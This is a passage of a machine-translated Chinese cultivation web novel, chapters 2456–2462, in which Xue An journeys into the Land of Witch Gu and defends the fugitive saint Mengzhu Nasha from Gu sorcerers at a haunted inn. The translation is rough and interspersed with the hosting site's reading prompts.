    "Yes!"


    Lu Xiuming turned and left.


    Looking at his back, Lu Zhongxuan faintly felt that something was wrong, but after a careful investigation, he found nothing unusual, so he left it behind.


    For him, what he likes the most is to deal with opponents directly through tough methods. As for using his brain, he still doesn''t like it.


    I hope everything goes well! He thought silently in his heart.


    At the same time, among the soldiers from an incalculable distance, the Feast of Cleansing the Dust has ended.


    But the small drinks in the backyard flower hall continued.


    In the evening breeze, Yue Shifang''s eyes were already three-point drunk.


    "Everything has been arranged, and you can leave two days after tomorrow at the latest!"


    Hearing what Yue Shifang said, Xue An put down the wine glass in his hand.


    "I don''t plan to go with you!"


    "Why?" Yue Shifang was taken aback.


    "Because I have something to explore!"


    "What are you investigating?" Yue Shifang couldn''t help asking.


    Xue An smiled, UU reading "It''s nothing, just before I came here I killed a few people to investigate the existence of the news, and these people are evil, so I plan to check!"


    "Evil spirit? Are you sure?" Yue Shifang was also shocked when he heard the word evil.


    "Of course I am sure, so I am going to investigate the situation as an outsider without attracting anyone''s attention!" Xue An said solemnly.


    Yue Shifang took a deep look at Xue An, and finally nodded.


    "Alright, you have a smaller goal by yourself, and it''s just suitable for doing these things! But you must be careful when you encounter problems, because the place where the Hundred Schools Conference is held is in that Yin and Yang home!"


    When talking about the three words of Yin Yang Family, Yue Shifang''s eyes were full of deep jealousy.


    "I understand!" Xue An nodded.


    For the convenience of reading next time, you can click "Favorites" below to record the reading record of this time (Chapter 2456 I want to go alone), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2457： The situation is grim

    "Invincible, start a novel from Daddy Xianzun ( to find the latest chapter!


    Fu Bao Xiaolou.


    After a long period of growth and evolution, this Fubao Xiaolou is no longer the small building it used to be, but a world of its own.


    At this moment, a bright moon hung in the sky, under the influence of abundant spiritual energy, everything was shrouded in a dreamlike silver yarn.


    Xue An stood in front of the window, looking at the sparkling lake in the distance, his eyes shimmering and he didn''t know what he was thinking.


    The two daughters have already gone to sleep, and the whole world can quietly hear the waves caused by the huge sea beast swimming in the distant lake.


    There was a sound of footsteps behind him, Xue An did not look back, still watching quietly.


    In the next second, An Yan walked to the window and handed Xue An a cup of steaming tea.


    "Husband, you have a lot of drinks tonight, drink a cup of hot tea to relax the bar!"


    Xue An smiled, raised his hand to take the teacup, and An Yan''s hand was held at the same time.


    An Yan screamed, and then Xue An was dragged into his arms.


    Although the husband and wife have been married for many years, although the children are already that old, and although there is no one around him at the moment, An Yan''s face still can''t help but flush.


    But she didn''t speak, just lying quietly in Xue An''s arms like a kitten, because she knew that her husband must be in a bad mood at the moment, otherwise he would not sit by the window in a daze at night.


    But if Xue An didn''t say it, she wouldn''t ask.


    This is the tacit understanding between their husband and wife.


    After a long time, Xue An said in a low tone: "Yan''er!"


    "Ok!"


    "I have suffered you all these years!"


    An Yan raised his eyes and asked in amazement, "Why do you say that?"


    "Because since I returned, you have been following me all the time, and you haven''t enjoyed a moment of restful life!" Xue An said apologetically.


    An Yan looked at Xue An quietly, and suddenly smiled, "Husband, are you drunk?"


    Xue An shook his head, "Of course not!"


    "Then why do you say such drunken words?"


    "I just feel it, especially when I look at you alone when I am in retreat, I always feel that I owe you a lot!"


    An Yan stretched out green fingers, gently blocked Xue An''s mouth, and then shook his head.


    "Don''t say it, everything is voluntary. As long as I can stay with you, no matter what I do or how much hardship I suffer, I am willing!"


    Seeing the perseverance on An Yan''s face, Xue An couldn''t help swallowing the words that followed, and then took her into his arms again.


    "Husband, are you unsure of what you are going to do next?" An Yan lay on Xue An''s chest and said muffledly.


    Xue An gently stroked her smooth long hair, and said softly: "It''s not unsure, but I think there will be many variables in this trip!"


    "Then... why don''t we go?" An Yan sat up abruptly and said very seriously.


    Xue An chuckled and squeezed her nose, "Okay, I know you are worried about me, but don''t worry, I, who have already proclaimed the realm of a saint, do not dare to be invincible in this world. , But at least there is absolutely no problem with self-protection!"


    An Yan took a deep look at Xue An, and finally lowered his head, "I hope you can do what you say this time!"


    Xue An laughed, "It''s like I haven''t done it before."


    Then he wanted to take An Yan down again.


    "Just no!"


    As soon as he talked about this An Yan, he got angry, struggling to break away from Xue An''s embrace, and looked at him seriously.


    "You said that this is the first time you have said that you don''t worry me, but isn''t it the same every time?"


    In response to An Yan''s fierce gaze, Xue An scratched the back of his head with some guilty conscience.


    "Is there? Why do I feel that it is not as exaggerated as you said?"


    An Yan nodded his head, "That''s right, let''s not talk about it, just say this time! I actually figured out a way to separate me from missing misses, do you think this is great? Do you know that I am in the Fubao Xiaolou? How worried about you during the time?"


    At this point, An Yan''s eyes were full of tears.


    These words have been suppressed in her heart for a long time.


    Because of all the complicated things, I have never had a chance to say it. At this moment, she finally had time to spend alone with Xue An, so she naturally wanted to vomit.


    Looking at An Yan who was crying, Xue An felt that a very soft place deep in his heart was touched.


    He stretched out his hand apologetically and gently hugged An Yan.


    "Okay, I know I was wrong. From now on, I promise I will never leave you alone. Even if I face such a powerful enemy, I will take you with me. Is this okay?"


    An Yan nodded, but still a little unhappy.


    Xue An couldn''t help smiling when he saw it, then raised his hand, hooked An Yan''s chin with his fingers, and gently lifted it up.


    "Come on, little lady, give me a smile to the uncle!"


    An Yan gave Xue An a sullen look, but finally couldn''t help but sneered, and the cloud on his face disappeared.


    "Bah, fortunately, you are still the father of two children, and you haven''t been in good shape all day long!"


    Xue An smiled, "This is called out of shape? Then I will show you today what is really out of shape!"


    Immediately afterwards, An Yan''s exclamation screamed from the room.


    The night is getting deeper.


    An Yan has fallen asleep.


    Xue An was still sitting by the window, and the moonlight pouring in like water, sprinkled on him, reflecting him like a sculpture.


    After a long time, he sighed slightly.


    "Finally, you can''t help it, have you started to do it?"


    In the words, you didn''t say who it was referring to, but the serious expression on Xue An''s face couldn''t be faked.


    "True Martial Arts Sect... Haha, if I''m not wrong, the current True Martial Arts Sect is already dead in name!" Xue An murmured coldly, thinking in his eyes.


    In the Pharmacist Alliance before, he noticed the strangeness after killing Lu Fei''an and the others with one sword.


    Although these people are Taoist priests of the Zhenwu Dao sect on the surface, they have actually been tainted by evil spirits.


    This incident was like a thorn, and Xue An was awakened at that time.


    Even though it was a mere real martial art faction, he still didn''t take it seriously.


    But God knows how many sect families are like this true martial art school, who have become puppets of evil things.


    If that is the case, then this matter is too severe.


    So Xue An just prepared to go to the site of the Hundred Family Conference ~ www.novelhall.com~, which is the home of Yin and Yang, to explore for clues.


    But more importantly, he wanted to see if the Yin-Yang family had also been infested by evil spirits.


    Because this is a major event that concerns countless lives and deaths.


    He never mentioned these things to anyone.


    Even Yue Shifang just knew that he wanted to investigate the source of the evil things first.


    Suddenly.


    Xue An raised his hand, and a drop of blood suddenly leaked from the tip of his index finger.


    This drop of blood reveals a gleam of brilliance, as if it contains infinite power.


    In order to facilitate the next reading, you can click on the "Favorites" below to record the reading record of this time (Chapter 2457 The situation is grim), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ! ()

 Chapter 2458： Land of Witchcraft

    "Invincible, start a novel from Daddy Xianzun ( to find the latest chapter!


    Xue An''s eyes narrowed slightly.


    At that time, the Nine Heavens Profound Girl and many Chinese gods were rescued by a mysterious light, and the other gods have disappeared.


    Only the Nine Heavens Profound Girl stayed in this outer sky, and retained a ray of brilliant light.


    Later, she refined it into the pill, and finally gave it to Xue An.


    Therefore, at this moment, the brilliance in Xue An''s blood is the brilliance that saved the Chinese gods back then.


    And the reason why Xue An can heal his injuries so smoothly and directly prove the saints with the body of Xianzun is inseparable from this silk Guanghua.


    But this was not what surprised Xue An the most.


    What surprised him the most was that this scent of brilliance was so familiar.


    At the beginning, the Nine Heavens Profound Girl once commented that this silky brilliance felt like a call from the source of blood.


    Xue An was noncommittal at the time.


    It wasn''t until the retreat that he suddenly understood why this breath became so familiar.


    Isn''t this the same feeling that the aura that burst out of Anyan''s body when facing the world-destroying finger that stretched straight to the heavens back then?


    And it was this discovery that made Xue An suddenly a little at a loss.


    Because he didn''t know what secrets were still hiding in An Yan''s body.


    I don''t even know what this ray of brilliance has to do with her.


    All the mysteries, by this time, began to gradually become clear, and finally merged into two major items.


    One is the masters behind these evil things and the reasons for the decline of the Chinese in those days.


    The second is that the Huaguang who saved the Chinese gods has the secret of An Yan.


    This journey seems to have solved a lot of questions, but when all the clues point to these two behemoths.


    Even Xue An couldn''t help being a little silent.


    After a long time, he sighed softly.


    The blood on the fingertips penetrated back again.


    Then he stood up, glanced at An Yan who was sleeping on the bed, smiled slightly, and then walked out.


    Confusion is always only temporary for men.


    What Xue An has to do now is to cheer up again and find answers to everything.


    And he had a hunch that these answers seemed to be not far away.


    After he left the Fubao Xiaolou, An Yan, who was lying on the bed, suddenly turned over, then slowly curled up and hugged herself tightly.


    The news that Xue An was going to the Hundred Schools Conference alone did not tell the rest of the soldiers.


    He chose to leave quietly on such a cold morning.


    Before leaving, the **** Yue Shifang handed him something mysteriously.


    "What is this?" Xue An took it in his hand and found that it was a delicate jade pendant.


    Yue Shifang chuckled, "This is a gift I gave you specially. It must be useful to you on the road, so take it!"


    Xue An glanced at him suspiciously, but found nothing unusual, and finally nodded.


    "Okay, let''s say goodbye!"


    With that, Xue An picked up the jade pendant, flew up, and disappeared into the void in the blink of an eye.


    When he left, Yue Shifang couldn''t help letting out a sigh of relief.


    "It''s very risky, I almost showed my stuff just now!"


    "Seriously, what exactly is that thing? So that you have to give it to Xue An?" The second girl walked out from behind the pavilion and asked in confusion.


    Yue Shifang smiled, "Don''t say or say, but it won''t take long for you to know what it is!"


    At this moment, Xue An is separating the space like pages of a book and traversing forward at almost rampant speed.


    This is a way to go alone in the realm of saints.


    After reaching this state, the shortest distance between two points changes from a straight line to a point-to-point.


    What Xue An has to do is to keep compressing the space and then traverse the past.


    In this way, the speed of the journey is naturally unimaginable.


    However, because the distance between the military family and the Yin Yang family was too far away, even if he hurried in this way, it would still take more than ten days to walk.


    In order to reach Yin Yang''s house in front of most people, Xue An refused to stop for a moment, rushing frantically.


    But at this moment, he suddenly felt his chest hot, then stopped and threw out the jade pendant that Yue Shifang gave him.


    Just halfway there, I heard a bang.


    This jade pendant was torn apart, and then what appeared was a pretty figure.


    Yue Qinghuan tilted his head and looked at Xue An with a smile, "What? Are you surprised?"


    Xue An smiled wryly at the corner of his mouth, "Is this what your brother said as a gift for me?"


    "How? No?" Yue Qing said with a smile.


    Xue An shook his head, "Really, it really can''t!"


    The smile on Yue Qinghuan''s face froze, and then he said helplessly: "Does it have to be so unfeeling? I just want to go to the Yin Yang house with you. I promise to listen to you throughout the process and not drag you down. This is all right!


    Looking at Yue Qinghuan with a sincere face, Xue An finally sighed helplessly, "What can I say now? Let you go back?"


    "Hehe, I knew you were the best! Let''s go, let''s go on the road together!"


    "Hurry up together? Are you sure you can keep up with me?"


    "Of course!" Yue Qinghuan said confidently.


    really.


    When Xue An moved forward again, Yue Qinghuan actually followed him steadily, not letting the wind fall in the slightest.


    But after walking for a while, Xue An couldn''t help but said: "Does your brother want you to marry so much?"


    "What do you mean?"


    "He is willing to give you the blood of his saint. Doesn''t this mean he wants you to marry as soon as possible?"


    Naturally, Xue An could see that the reason why Yue Qinghuan was able to keep up with her just now was entirely because of the presence of a saint in her sea of ??knowledge.


    This is certainly not the result of her cultivation, but a gift from Yue Shifang.


    But how precious is the blood of a saint.


    Xue An, who is also a saint now, knew nothing better, so he couldn''t help but ask this question.


    Yue Qinghuan blushed, and then said angrily: "What? Isn''t it okay for my brother to hurt my sister? You have to give me a gift if you want me to marry?"


    With that, she flew forward in anger.


    Seeing her back, Xue An smiled and shook his head, UU read and then followed.


    So back and forth, ten days later.


    They finally came to the edge of Yin Yang''s home.


    That is the legendary... land of witchcraft!


    The reason why this place is called the Land of Witch Gu is because the void here is permeated with a faint mist all year round.


    This squalid aura is extremely weird and weird, even if it is a little careless, even a quasi-sage-level powerhouse may be hit.


    In addition, in this weird area, there are many weird and unspeakable sects, some even inherited from the very ancient times, the methods can be described as weird and unpredictable.


    All of this has cast a layer of mystery on this place, and it has also made many people change their minds about what they are talking about here and stay away.


    In order to facilitate the next reading, you can click "Favorites" below to record the reading record of this time (Chapter 2458 Witch''s Land), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2459： Endless mountains

    You can search for "Invincible, Start Searching Novels from Xianzun Dad( in Baidu to find the latest chapters!


    Xue An and Yue Qinghuan stood on the edge of the land of Witch Gu, looking at the misty air that was illusory but shrouded all in the distance, and they were speechless for a long while.


    "In fact, we can take the road of Luofumen, so that we can directly pass through this wild land and enter the realm of Yin Yang Family!" Yue Qinghuan whispered.


    The Luofu Gate is a gate specially set up by the Yin-Yang Family to pass through this land of witches and gu. It is indeed much more convenient and safer to walk that way.


    But Xue An shook his head, "No, that would expose our whereabouts to the sight of Yin Yang Family!"


    Yue Qinghuan was startled, "Are you suspicious of Yin Yang Family?"


    "Not in doubt, but out of caution! Because the situation we are facing today is very complicated. If we want to gain an advantage, we must act in the dark. This is why I act alone!"


    Speaking of this, Xue An turned his head and glanced at Yue Qinghuan, "If you are scared, you can take the road from Luofumen to Yinyang''s house, and then wait for the rendezvous of the large forces. I will be alone here!"


    Yue Qinghuan seemed to have been insulted, and immediately stood up and said: "Afraid? A joke, when has this girl been afraid? Let''s go, just go in this way!"


    Having said that, Yue Qinghuan stepped inside and walked in.


    Xue An was a little helpless, he really didn''t want to take Yue Qinghuan with him.


    Even if Yue Qinghuan had obtained a trace of saint inheritance from Yue Shifang, it was the same, but at this point, he had no choice but to follow.


    After passing through this thin layer of miasma, what came into view was a very strange scene.


    There are no stars, and there is no lonely space.


    All the empty scenery that I used to see disappeared.


    Instead, there are countless tall mountains in the distance.


    These mountains are arranged in a crisscross pattern and extend into the depths of the unknown void.


    People say that there are hundreds of thousands of mountains, but the peaks seen here are more than hundreds of millions.


    Not only that, there is actually air in this strange space.


    The muddy ground was stepped under her feet, and all the trees and weeds that grew arbitrarily beside her.


    These trees do not know the species, but each of them grows weirdly shaped, matching with the weird weeds that grow ferociously on the ground, full of wild and fierce beauty.


    To put it bluntly, where is the void in this land of Witch Gu, it is clearly an unimaginable planet.


    Xue An took a deep breath of the air mixed with the fragrance of vegetation and the smell of earth, only to feel the aura around him was messy and chaotic.


    All kinds of auras are tangled and tangled together, but it is a greyish breath that dominates.


    This breath is similar to the misty breath that covers everything, but with some subtle differences.


    It can''t be said to be evil, but it carries a kind of extreme simplicity and desolation, and it seems to be closely related to death.


    Xue An raised the corners of his mouth slightly and said thoughtfully: "Interesting!"


    But compared to his ease, Yue Qinghuan''s face was a little pale.


    This chaotic spiritual power and the dominant grey aura made her feel more pressured.


    She was so shocked to realize that her strength had been suppressed to the point where there was no one in ten.


    "Let''s go!" Xue An said lightly.


    "Yeah!" Yue Qing Huanqiang suppressed the horror in his heart, and bit the bullet and followed.


    With Xue An''s strength, although it will not be affected by the laws of this space, it is impossible to fold the space directly like driving in the void.


    So he can only stand up and shuttle among the mountains.


    However, it seems that taking into account Yue Qinghuan''s strength, Xue An''s flying speed is not fast, compared to the endless mountains, it is even more like a turtle.


    But Xue An was not in a hurry, but watched the mountain at his feet with great interest.


    In this way, after flying for a full hour, the two of them finally flew out of the previous area, the mountains under their feet were slightly flattened, and the types of vegetation also became diverse.


    Faintly, you can also see traces of human activity in the faintly discernible path among the grass.


    After flying forward for a while, the path began to become clear, and the traces of human activities became more and more obvious.


    Finally, after flying over another mountain, a building similar to an inn appeared on the side of the road.


    Seeing this scene, Xue An''s eyes lit up, and even fell on the ground.


    After getting closer, the two found that the building was indeed an inn.


    But the strange thing is that the door of this inn is open and there is no one inside, but tables, chairs and benches are readily available.


    Xue An walked into the door and looked around, but he didn''t find anyone.


    At this time, Yue Qinghuan couldn''t help but screamed.


    "what is that?"


    Xue An turned his head and looked around, but saw dozens of ropes hanging from the beams of the house on the wall behind the door.


    The ends of these ropes were tied into a rope loop, hung at a height as high as a person, and moved slightly with the wind.


    Yue Qinghuan''s complexion was a little pale.


    Although her strength is very high, she is a girl after all, and she has a natural fear of such unknown things.


    Especially everything in this inn reveals a weird atmosphere.


    This made Yue Qinghuan''s hair terrifying, and he couldn''t help but approach Xue An.


    Xue An couldn''t help but raise his eyebrows slightly when he looked at these ropes.


    what is this?


    Looks like a rope loop hanging!


    But how can dozens of people hang themselves together?


    So what is this thing for?


    While Xue An was thinking about it, Yue Qinghuan reluctantly suppressed the panic in his heart and whispered: "I think this inn reveals weirdness, and there is no personal shadow. Why don''t we withdraw too!"


    Xue An glanced at her and chuckled softly: "What? Afraid?"


    As soon as this sentence came out, Yue Qinghuan straightened his chest again, "Nonsense, how can I be scared? I just think this inn is very weird and I don''t want to stay here for a long time!"


    Although she said it very nicely, Xue An could still hear the sternness in her words.


    Speaking of Yue Qinghuan''s strength, he would never be afraid of a barren mountain inn.


    But in this weird world, under the effect of the dominant grey aura, people''s fears seem to be invisiblely magnified.


    Even Yue Qinghuan can''t avoid being vulgar.


    That''s why she was so flustered.


    Of course, this kind of influence was only directed at Yue Qinghuan, and had no effect on Xue An at all.


    I saw him turning his head and looking out the door, and said lightly: "Now you can''t go if you want to go!"


    "why?"


    "Because it''s going to rain!"


    really.


    As soon as Xue An''s voice fell, he heard a dull thunder, and then a heavy rain fell outside the house.


    If it''s just raining, it will naturally not stop the two of Xue An.


    But the rain was also very strange. When the rain fell on the ground, the splashes were actually layers of fog.


    Invincible, the latest chapter address starting from Xianzun Dad: https://


    Invincible, read the full text from Dad Xianzun: https://


    Invincible, start from Xianzun''s txt download address: https://


    Invincible, start reading on mobile phone from Dad Xianzun: https://


    In order to facilitate the next reading, you can click "Favorites" below to record the reading record of this time (Chapter 2459 Endless Mountain), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2460： The evil spirits on the road avoid the immortals

    You can search for "Invincible, Start Searching Novels from Xianzun Dad( in Baidu to find the latest chapters!


    The mist spread quickly, but in the blink of an eye, the outside was already enveloped by a mist that was too thick to dissolve.


    Yue Qinghuan''s complexion instantly became very ugly.


    Because she found that her spiritual thoughts could not penetrate the barriers of these mists at all.


    In other words, all she can perceive now is this small inn.


    The rain was fierce, but the outside of the house was white.


    The breeze mingled with the breath of rain blows the hanging rope loops, and the weirdness is beyond words.


    "What should I do now?" Yue Qinghuan said solemnly.


    Xue An chuckled softly, "What else can I do? Naturally, wait for the rain to stop!"


    After that, Xue An turned and walked to the kitchen.


    "What are you doing?" Yue Qinghuan asked with some fear.


    "Cook!"


    "Cooking?"


    "Yes! I think there are cooking utensils in the kitchen, so I plan to make something to eat, aren''t you hungry?" Xue An smiled.


    Yue Qinghuan didn''t know why, but she really didn''t want to stay in this desolate hall to face the weird rain and fog, so she said: "Wait for me, I will give you a hand!"


    The small kitchen is actually very neat and tidy, all kinds of ingredients are neatly arranged, the most of which is all kinds of mountain and game.


    Although some of these beasts have died, they still exude a strong aura, obviously they were not easy generations before they were alive.


    But at this moment they are all lying quietly on the cutting board, and there is no trace of scars on their bodies.


    Seeing this scene, Xue An''s brilliance flashed in his eyes, but he didn''t say anything, just cooked the food skillfully.


    With his cooking skills, only a moment later, this small kitchen became lively.


    The sound of hot oil cooking accompanied by a strong aroma immediately dispelled the weird atmosphere of this inn.


    Yue Qinghuan was even more splendid from the side.


    In the blink of an eye, a few plates of delicious dishes were cooked, and Xue An churned out a few jars of good wine from the cupboard, and then sat in the hall to drink.


    Yue Qinghuan gobbled it up.


    Although she has already left her diet with her strength and realm, the dishes with superb cooking skills still cannot be rejected by everyone.


    Xue An did not eat, but gently sipped the wine in the glass.


    This wine is different from any type of wine Xue An has drunk before. The taste is rich and sweet, like this endless mountain, full of mystery.


    The heavy rain outside the house continued.


    After eating a dish, Yue Qinghuan finally slowed down, and then poured a glass of wine into his belly.


    The strong alcohol immediately flushed her cheeks.


    She suddenly felt that the inn at the moment was not terrible at all, on the contrary, there was a warm atmosphere in the heavy rain.


    Seeing Xue An who was pouring and drinking, a thought suddenly flashed in Yue Qinghuan''s mind.


    It would be great if it could last for a long time like this!


    But at this moment, there was a faint and mysterious sound of copper bells in the mist outside the inn.


    The copper bell was far away at the beginning, but it got closer and closer in the back.


    But it was clearly identifiable in the blink of an eye.


    As soon as the bell came out, the fog outside the house began to disturb.


    At the same time, a female voice faintly came.


    "Yin Sha goes on the road, all the immortals avoid it!"


    When the female voice came in, the ropes hanging on the wall behind the door immediately rose automatically without wind.


    Immediately afterwards, a gust of wind rushed in from outside the door.


    Then a figure who wore a wide hat and whose entire figure was enveloped walked into the room.


    And behind this figure, there was still a group of people following.


    This team did not touch the ground, suspended in the air, and was wrapped in a black cloth, except for a piece of talisman paper pasted on their foreheads.


    Such a strange scene made Yue Qinghuan''s face pale at the time.


    "what��."


    There was a woman''s whisper from under the hat. Obviously, this person did not expect that there would be someone in such a desolate inn.


    But the man soon calmed down, turning around and pointing at the rope loop hanging on the wall behind the door.


    "All rest!"


    These words seem to be commands, and these ghost-like beings immediately floated behind the door silently, and then hung on the rope loop one by one, sinking into silence.


    Only then did Xue An and Yue Qinghuan understand the true function of these rope loops.


    It turned out to be for these rushing evil spirits to rest.


    But neither of them said anything.


    Yue Qinghuan was frightened, but Xue An looked thoughtfully.


    At this time, the person wearing a hat also took off the hat, and a woman in a navy blue dress appeared.


    This woman can be described as unparalleled.


    Especially those eyes, really like a Wang Qingquan.


    She glanced at both Xue An.


    Xue An smiled slightly and raised his glass.


    The woman frowned, but did not speak, but went straight into the kitchen.


    After a while, there was also a sound of cooking inside.


    Then she also walked out carrying the food.


    But obviously, her cooking skills are far inferior to Xue An, and even the food is a little burnt.


    Even so, she still gobbled it up, as if she hadn''t eaten for a long time.


    And Xue An caught a scar on the neck when she lowered her head to eat.


    The scar was slashed across the aorta of the neck, and the white and flawless jade neck was chopped in half with just a little bit, showing the danger of the injury.


    At this moment, she seemed to feel Xue An''s gaze, and the woman suddenly turned her eyes and looked at him vigilantly and defensively.


    Xue An smiled slightly, then raised the hip flask in his hand.


    "Would you like a drink? Go to the cold body!"


    The woman still did not relax her vigilance, but shook her head.


    "If you''re worried that you won''t be able to escape the chase after drinking, then you don''t have to, because the people who are chasing you at this moment have already arrived!" Xue An said indifferently.


    As soon as this statement was made, the woman''s pupils instantly shrank to the size of a needle tip, and UU Reading jumped up and rushed directly to the door.


    really.


    Although the mist blocked most of the prying eyes, as she was born and grew up in Sri Lanka, she could still perceive several powerful breaths approaching here quickly.


    It is impossible to escape at this moment.


    A touch of decisiveness appeared in the woman''s eyes, and finally she spoke the first sentence.


    "If you want to survive, get out of here!"


    Xue An smiled, "Do you think I have time to leave now?"


    As soon as the voice fell, there was a voice like a ghost crying outside the house.


    "He''s right, you are all too late to leave now!"


    Following the voice, a small old man with a fierce face appeared in the fog outside the door.


    The old man stood in front of the door and smiled at the woman Jiejie strangely: "Mengzhu Nasha, you can escape so fast. If it weren''t for the old man''s fast feet, it would really be possible for you to escape!"


    Seeing this old man, Mengzhu Nasha''s eyes showed deep hatred.


    "Jexiong Wula, you despicable villain, dare to attack the people of the Moon Mother God, are you not afraid of God''s anger?"


    Invincible, the latest chapter address starting from Xianzun Dad: https://


    Invincible, read the full text from Dad Xianzun: https://


    Invincible, start from Xianzun''s txt download address: https://


    Invincible, start reading on mobile phone from Dad Xianzun: https://


    In order to facilitate the next reading, you can click "Favorites" below to record the reading record of this time (Chapter 2460: The Evasion of the Immortals on the Road), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2461： Golden Armor and Bronze Corpse

    You can search for "Invincible, Start Searching Novels from Xianzun Dad( in Baidu to find the latest chapters!


    This Shi Xiongwu laughed strangely, and the laughter was as unpleasant as Ye Xiao.


    "Of course I am afraid, and I am afraid to die! But if I can get the saint of the Moon Mother God clan because of this, then Tianzhu will be nothing!"


    Following the voice, several ghost-like figures emerged in the mist behind Shiongwula.


    The leader was an old man who was skinny and skinny. He held a skeleton staff in his hand, and his eyes were full of endless evil and greed.


    "Shixiongwula, what are you talking about with this little lady, it''s a business to catch her back quickly and hand it over to the great talent!"


    Shixiongwu La chuckled, "My priest, don''t worry, now I have laid a net around me, and I am covered by this misty mist. Now she can hardly fly even with wings!"


    "Hey, there are still people in the inn? It''s still a man and a woman. Tsk tsk, this man is so vigorous, it will taste good after eating!"


    "That woman is not bad too, she has a fine skin and tender flesh, play with it first, and then make it into a doll!"


    The ghosts standing behind Shiongwula and the skeleton priest started talking excitedly.


    In short, this group of people did not take Mengzhu Nasha and Xue An in the inn seriously.


    A touch of decisiveness flashed in Mengzhu Nasha''s eyes.


    She had planned for the worst as long as she was on the way to escape, but it was a pity that the two men and women who broke into the inn by mistake.


    Thinking of this, Meng Zhu Nasha couldn''t help but glanced at Xue An and Yue Qinghuan not far behind, and then she was taken aback for a while.


    Because it was different from what they had imagined, at this moment, instead of the slightest panic, the old gods were sitting in the chairs.


    Especially the handsome and unspeakable young man in white, watching all this with great interest, as if he did not feel the tension and treacherous atmosphere of the scene at all.


    Although she was quite astonished at the performance of Xue An, but Mengzhu Nasha didn''t care about that much at this moment, and she only snorted.


    "Get up!"


    With an order, the black figures that were originally hanging on the rope loop behind the door immediately flew up and formed a formation beside Mengzhu Nasha.


    "kill!"


    Mengzhu Nasha raised her hand and pointed, and these black figures rushed up immediately.


    Shixiongwula sneered, "I have to struggle at this time. I really don''t repent. Well, I will teach you a lesson today!"


    Following the voice, Shiongwula waved his hand violently, and countless poisonous insects immediately appeared, and rushed toward these figures in a dense manner.


    Ding Ding Ding.


    Accompanied by a faint sound, the black clothes wrapped around these figures shattered, revealing the golden body below.


    "Golden armor and bronze corpse, giggle, it seems that the Mengzhu tribe really cares about you, the saint!" The skeleton priest saw it and sneered.


    That''s right!


    This team is actually all bronze corpses in gold armor.


    This is also one of the secret methods of the Mengzhu tribe, and it is very powerful.


    It''s just that now the surrounding rain and mist are lingering, and the moonlight is not visible at all, so the strength of these golden armor and bronze corpses has also dropped a lot.


    I saw that they were trapped by countless poisonous insects, making unwilling roars, but they were not allowed to enter.


    On the contrary, these poisonous insects kept spraying venom on them.


    Accompanied by the noise, the surface of these copper corpses began to corrode.


    Seeing this scene, Mengzhu Nasha couldn''t help but become anxious, knowing that if he procrastinated like this, these golden armored bronze corpses would be destroyed by these poisonous insects.


    But all the way to escape, she has exhausted her magic weapon at this moment, and the whole person is extremely exhausted, and she has no power to fight.


    So she couldn''t help but look desperate, and then bit her tongue violently.


    puff!


    Spit out a mouthful of blood.


    The power of these golden armored bronze corpses suddenly became strong, and they broke free from the entanglement of these poisonous insects, and rushed forward a few steps.


    But this bravery was only a moment, and after a moment, they fell into the whirlpool of poisonous insects again.


    After spitting out another mouthful of blood, Mengzhu Nasha''s face was extremely pale, and her whole body was shaky, as if she would faint at any time.


    "She''s dying, grab her and prevent her from committing suicide!" The skeleton priest said solemnly.


    Before he could finish speaking, these ghostly beings rushed over at an extremely fast speed behind him.


    Seeing this, Mengzhu Nassa''s eyes flashed with a touch of decisiveness, and a peach pink color suddenly appeared on the originally beautiful cheeks.


    "No, she wants to urge Unfeeling Gu to stop him!"


    As the person who knows the Mengzhu tribe best, Shixiongwula couldn''t help exclaiming.


    As soon as the voice fell, the skeleton priest waved the staff in his hand and pointed towards Monzhunasha.


    Even if Mengzhu Nasha froze in place, even the Gu worm that was about to attack was confined.


    "Hahaha, the priest is really superb!" These ghosts couldn''t help being overjoyed when they saw this, and immediately rushed to Mengzhu Nasha.


    But besides that, there were two more grinning rushes towards Xue An and Yue Qinghuan.


    For them, anyone who saw this scene had to die.


    What''s more, in their eyes, Xue An and Yue Qinghuan are nothing more than a delicious meal.


    But these two ghosts rushed up faster, and flew out faster.


    And in the middle of flying out, they also let out a terrible cry.


    "Ahhhhhhhhhhh..."


    Amid the miserable howling, a little almost transparent flame rose up from the two ghost bodies, and instantly burned them to ashes.


    Not only that, but the ghosts that pounced on Mengzhu Nasha also screamed, and then the flames blasted from under their feet and burned them to ashes.


    This sudden scene shocked everyone present. UU Reading


    The skeleton priest roared, "Where is it sacred, so vicious?"


    While talking, the skeleton priest waved his staff and swiped at the inn.


    Babble babble.


    Strands of black brilliance penetrated directly through the walls of the inn and rushed towards Xue An.


    Wherever he went, even the air was infiltrated by the inky black brilliance, showing how vicious the black light was.


    Mengzhu Nasha also woke up from the initial shock at this time. Although her body could not move, her eyes could move.


    Therefore, when she saw the black light that hit Xue An, her heart was tight.


    She has personally experienced the power of this black light, knowing that this is the fame and skill of the Tsuxiongwu tribe, which is extremely difficult to prevent, especially good at polluting the magic weapons and spirits of those human monks.


    So she couldn''t help but worry about Xue An.


    But at this moment, Xue An, who was holding a wine glass, suddenly sneered.


    "While holding a magic weapon refined from countless wrong souls, I keep saying that I shot vicious..."


    Xue An suddenly raised his eyes, "Old monster, are you kidding me?"


    Invincible, the latest chapter address starting from Xianzun Dad: https://


    Invincible, read the full text from Dad Xianzun: https://


    Invincible, start from Xianzun''s txt download address: https://


    Invincible, start reading on mobile phone from Dad Xianzun: https://


    In order to facilitate the next reading, you can click "Favorites" below to record the reading record of this time (Chapter 2461 Golden Armor and Bronze Corpse), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2462： Jingman 1 family

    You can search for "Invincible, Start Searching Novels from Xianzun Dad( in Baidu to find the latest chapters!


